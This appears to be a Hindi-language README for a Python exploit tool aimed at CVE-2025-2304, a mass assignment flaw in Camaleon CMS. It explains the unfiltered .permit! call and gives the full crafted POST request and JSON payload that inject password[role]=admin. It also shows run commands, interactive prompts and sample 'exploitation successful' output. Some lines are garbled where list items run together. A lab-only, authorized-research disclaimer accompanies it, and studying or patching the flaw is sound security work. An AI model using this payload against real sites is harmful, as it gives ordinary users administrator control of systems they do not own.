
CVE-2025-2304 के लिए पायथन एक्सप्लॉइट स्क्रिप्ट, जो Camaleon CMS में मास असाइनमेंट विशेषाधिकार वृद्धि है। यह CSRF टोकन पार्सिंग और भूमिका पैरामीटर इंजेक्शन को स्वचालित करता है ताकि प्रमाणित उपयोगकर्ताओं को नियंत्रित प्रयोगशाला वातावरण में एडमिन तक उन्नत किया जा सके।
CVE-2025-2304 Camaleon CMS (संस्करण < 2.9.1) में एक मास असाइनमेंट भेद्यता है जो एक प्रमाणित उपयोगकर्ता को पासवर्ड बदलने के अनुरोधों में role पैरामीटर में हेरफेर करके अपने विशेषाधिकारों को व्यवस्थापक तक बढ़ाने की अनुमति देती है।
Camaleon CMS Ruby on Rails का उपयोग करता है और संस्करण 2.9.0 में UsersController#updated_ajax नियंत्रक में एक मास असाइनमेंट भेद्यता है। नियंत्रक बिना किसी प्रतिबंध के .permit! का उपयोग करता है, जिससे अनुरोध में भेजे गए किसी भी पैरामीटर को सीधे उपयोगकर्ता मॉडल को निर्दिष्ट किया जा सकता है।
POST /admin/users/{user_id}/updated_ajaxpassword नाम स्थान के भीतर भेजा गया password[role]params.require(:password) को संसाधित करता है और फिर .permit! लागू करता है, जो किसी भी पैरामीटर को फ़िल्टर नहीं करताrole फ़ील्ड में "admin" मान का इंजेक्शनPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
password[role] पैरामीटर User.update(permitted_params) द्वारा संसाधित किया जाता है और .permit! के कारण सीधे उपयोगकर्ता रिकॉर्ड को निर्दिष्ट किया जाता है, जिससे विशेषाधिकार user से admin तक बढ़ जाते हैं।
# Python 3.6+
python3 --version
# Required libraries
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
स्क्रिप्ट इंटरैक्टिव रूप से पूछेगी:
http(s)://domain:port_cms_session मान (लॉगिन के बाद प्राप्त)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
जब मुझे यह भेद्यता मिली, तो मेरी पहली प्रवृत्ति इसे Burp Suite के माध्यम से मैन्युअल रूप से परीक्षण करने की थी — और यह काम कर गया। लेकिन मैं एक कदम और आगे जाना चाहता था और उस मैनुअल प्रक्रिया को कुछ दोहराने योग्य और पोर्टेबल में बदलना चाहता था, इसलिए मैंने यह स्क्रिप्ट लिखी। बग का शोषण करने के अलावा, इसे बनाने ने मुझे कुछ चीजों पर काम करने का मौका दिया जो मुझे वास्तव में दिलचस्प लगती हैं:
मैं Burp या Caido को बदलने की कोशिश नहीं कर रहा हूँ। इंटरैक्टिव परीक्षण के लिए वे उपकरण अपूरणीय हैं। यह सिर्फ वही है जो तब होता है जब मैं खुद को दोहराने के बजाय एक स्क्रिप्ट लिखना पसंद करता हूँ।
यह स्क्रिप्ट विशेष रूप से इसके लिए है:
- नियंत्रित प्रयोगशाला वातावरण
- वे सिस्टम जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण है
- शैक्षिक उद्देश्य और अधिकृत अनुसंधान
सख्ती से निषिद्ध:
- बिना प्राधिकरण के सिस्टम पर उपयोग
- दुर्भावनापूर्ण इरादे से आवेदन
- डेटा सुरक्षा कानूनों का उल्लंघन
- तीसरे पक्ष की सुरक्षा से समझौता
लेखक इस उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं है।
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS मास असाइनमेंट ║
║ विशेषाधिकार वृद्धि: user → admin ║
║ [प्रयोगशाला / नियंत्रित वातावरण] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF टोकन प्राप्त: abc123def456...
[✔] शोषण सफल: सर्वर ने अद्यतन की पुष्टि की।
[✔] स्थिति: समझौता
उपयोगकर्ता 5 के पास अब 'admin' भूमिका होनी चाहिए।
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
कोड को मॉड्यूलर रूप से संरचित किया गया है ताकि सुविधा हो:
.permit! के उपयोग को ठीक करता हैजो योगदान का स्वागत है:
याद रखें: इस परियोजना का उद्देश्य विशेष रूप से शैक्षिक और अधिकृत अनुसंधान है।
अंतिम अद्यतन: अप्रैल 2025 | सुरक्षा विश्लेषक (प्रयोगशाला वातावरण) द्वारा